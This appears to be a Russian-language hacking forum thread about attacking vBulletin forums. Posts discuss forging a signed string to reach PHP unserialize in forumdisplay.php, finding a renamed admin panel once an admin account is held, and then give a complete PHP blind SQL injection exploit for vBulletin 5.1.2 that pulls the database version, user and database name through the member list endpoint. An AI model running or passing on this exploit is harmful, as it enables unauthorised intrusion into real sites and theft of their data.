Старый 31.03.2014, 14:12   #11
shampoo
 
Регистрация: 30.10.2013
Сообщений: 11
Репутация: 1
По умолчанию

Цитата:
Сообщение от operator Посмотреть сообщение
Уважаемая общественность, случайно обнаружил на каком-то блоге инфу о том, что буквально вот вот вбуллетин пропатчили файл forumdisplay.php почти во всех версиях своего движка, решил поковырять, потенциально уязвимый кусок кода:

Код:
                // Allow POST based redirection...
                if ($vbulletin->GPC['postvars'] != '')
                {
                        if (($check = verify_client_string($vbulletin->GPC['postvars'])) !== false)
                        {
                                $temp = unserialize($check);
                                if ($temp['do'] == 'doenterpwd')
                                {
                                	... whatever
однако, параметр postvars который можно передать в GET вначале проходит проверку через функцию verify_client_string:
Код:
				function verify_client_string($string, $extra_entropy = '')
				{

				        if (substr($string, 0, 4) == 'B64:')
				        {
				                $firstpart = substr($string, 4, 40);
				                $return = substr($string, 44);
				                $decode = true;
				        }
				        else
				        {
				                $firstpart = substr($string, 0, 40);
				                $return = substr($string, 40);
				                $decode = false;
				        }

				        if (sha1($return . sha1(COOKIE_SALT) . $extra_entropy) === $firstpart)
				        {
				                return ($decode ? base64_decode($return) : $return);
				        }

				        return false;
				}
как эту сучку обмануть ума не приложу, поковырялся пару часов и эмпирическим путем установлено, что валидная строка должна быть вида:

39e8242ccce568bc820570cd6f064b0f0b4a001a-1-{i-2_s-32-.cfcd208495d565ef66e7dff9f98764da._}

где вторая часть, соотвественно, передаваемые на десиарилизацию данные, а первая...
был бы рад услышать любые мысли по поводу сабжа, можно сюда можно в лс
Лол, raz0r упоминал об этом еще 4 года назад, а патч только сейчас?
http://raz0r.name/obzory/novye-sposoby-obxoda-waf-i-php-eksploity/

Ps: Да и нет сейчас там интересных мейджик методов. По крайней мере в 4ой вобле.
shampoo вне форума   Ответить с цитированием
Старый 19.06.2014, 09:02   #12
BigBear
 
Регистрация: 26.07.2012
Сообщений: 135
Репутация: 51
По умолчанию

Небольшая заметка о "быстром" поиске админки.

В случае, когда у Вас есть администраторский аккаунт, но нет доступа в админку, по причине "админ захотел поиграть в кошки-мышки и переименовал админку", дабы не брутить и не нагружать сервер кучей бесполезных логов, поможет следующий способ:

заходим в профиль любого пользователя (forum/member.php?u=2), видим кнопку "Edit Profile / Редактировать учётную запись". По ссылке - как раз адрес админки.

VB >= 2.8.6

Другие версии не проверял.
BigBear вне форума   Ответить с цитированием
Старый 19.06.2014, 09:17   #13
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Цитата:
Сообщение от BigBear Посмотреть сообщение
заходим в профиль любого пользователя (forum/member.php?u=2), видим кнопку "Edit Profile / Редактировать учётную запись". По ссылке - как раз адрес админки.
Это сработает только если админ после переименования админки пропишет её пути в шаблонах. Редко кто так поступает.
NameSpace вне форума   Ответить с цитированием
Старый 19.06.2014, 09:51   #14
BigBear
 
Регистрация: 26.07.2012
Сообщений: 135
Репутация: 51
По умолчанию

Цитата:
Сообщение от NameSpace Посмотреть сообщение
Это сработает только если админ после переименования админки пропишет её пути в шаблонах. Редко кто так поступает.
Что ты подразумеваешь под шаблонами?

Если вручную прописывание в templates, то ты ошибаешься. На моём сервере, эта строчка лишь встретилась в ncludes/config.php и то, я подозреваю, для корректной работы админки, а не для того, чтобы эта строчка подставлялась в шаблон. Но ты меня заинтересовал, есть смысл посмотреть код.
BigBear вне форума   Ответить с цитированием
Старый 19.06.2014, 10:03   #15
NameSpace
 
Регистрация: 21.12.2012
Сообщений: 146
Репутация: 52
По умолчанию

Цитата:
Сообщение от BigBear Посмотреть сообщение
Что ты подразумеваешь под шаблонами?

Если вручную прописывание в templates, то ты ошибаешься. На моём сервере, эта строчка лишь встретилась в ncludes/config.php и то, я подозреваю, для корректной работы админки, а не для того, чтобы эта строчка подставлялась в шаблон. Но ты меня заинтересовал, есть смысл посмотреть код.
Да, на счет шаблонов (templates) ошибаюсь, но не на счет прописывания.

http://habrahabr.ru/post/78503/
Цитата:
Переименовываем админку, но в конфигурации ни в коем случае не пишем путь к нашей переименованной админке. Также переименовываем модерку, но её уже можно прописать в конфигурации(хотя тоже нежелательно), так как она менее уязвима.
В исходном коде $config['Misc']['admincpdir'] на повседневную работу админки не влияет.

Последний раз редактировалось NameSpace; 19.06.2014 в 10:12..
NameSpace вне форума   Ответить с цитированием
Старый 20.07.2014, 23:37   #16
mehdi racha
 
Регистрация: 09.11.2012
Сообщений: 12
Репутация: 0
По умолчанию

vBulletin 5.1.2 SQL Injection Exploit

Цитата:
<?php

/*
Author: Nytro
Powered by: Romanian Security Team
Price: Free. Educational.
*/


error_reporting(E_ALL);
ini_set('display_errors', 1);


// Get arguments


$target_url = isset($argv[1]) ? $argv[1] : 'https://rstforums.com/v5';
$expression = str_replace('/', '\\/', $target_url);


// Function to send a POST request


function httpPost($url,$params)
{
$ch = curl_init($url);


curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);

curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
'Accept: application/json, text/javascript, */*; q=0.01',
'X-Requested-With: XMLHttpRequest',
'Referer: https://rstforums.com/v5/memberlist',
'Accept-Language: en-US,en;q=0.5',
'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
));


$output = curl_exec($ch);

if($output == FALSE) print htmlspecialchars(curl_error($ch));


curl_close($ch);
return $output;
}


// Function to get string between two other strings


function get_string_between($string, $start, $end)
{
$string = " ".$string;
$ini = strpos($string,$start);
if ($ini == 0) return "";
$ini += strlen($start);
$len = strpos($string,$end,$ini) - $ini;
return substr($string,$ini,$len);
}


// Get version


print "\r\nRomanian Security Team - vBulltin 5.1.2 SQL Injection\r\n\r\n";
print "Version: ";


$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version( ),1 ,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');


$letter = 1;


while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);


$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];

$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(version( ),' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}


// Get user


print "\r\nUser: ";


$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),1 ,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');


$letter = 1;


while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);


$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];


$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(user(),' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}


// Get database


print "\r\nDatabse: ";


$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database (), 1,1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');


$letter = 1;


while(strpos($result, 'No Users Matched Your Query') == false)
{
$exploded = explode('<span class=\"h-left\">\r\n\t\t\t\t\t\t\t\t\t<a href=\"' . $expression . '\/member\/', $result);


$username = get_string_between($exploded[1], '">', '<\/a>');
print $username[0];


$letter++;
$result = httpPost($target_url . '/ajax/render/memberlist_items',
'criteria[perpage]=10&criteria[startswith]="+OR+SUBSTR(user.username,1,1)=SUBSTR(database (), ' . $letter . ',1)--+"+' .
'&criteria[sortfield]=username&criteria[sortorder]=asc&securitytoken=guest');
}


print "\r\n"


?>


Note:- if you Face function curl_init() ERROR Check This -
http://tny.cz/5bd37e0b
mehdi racha вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2018, Jelsoft Enterprises Ltd. Перевод: zCarot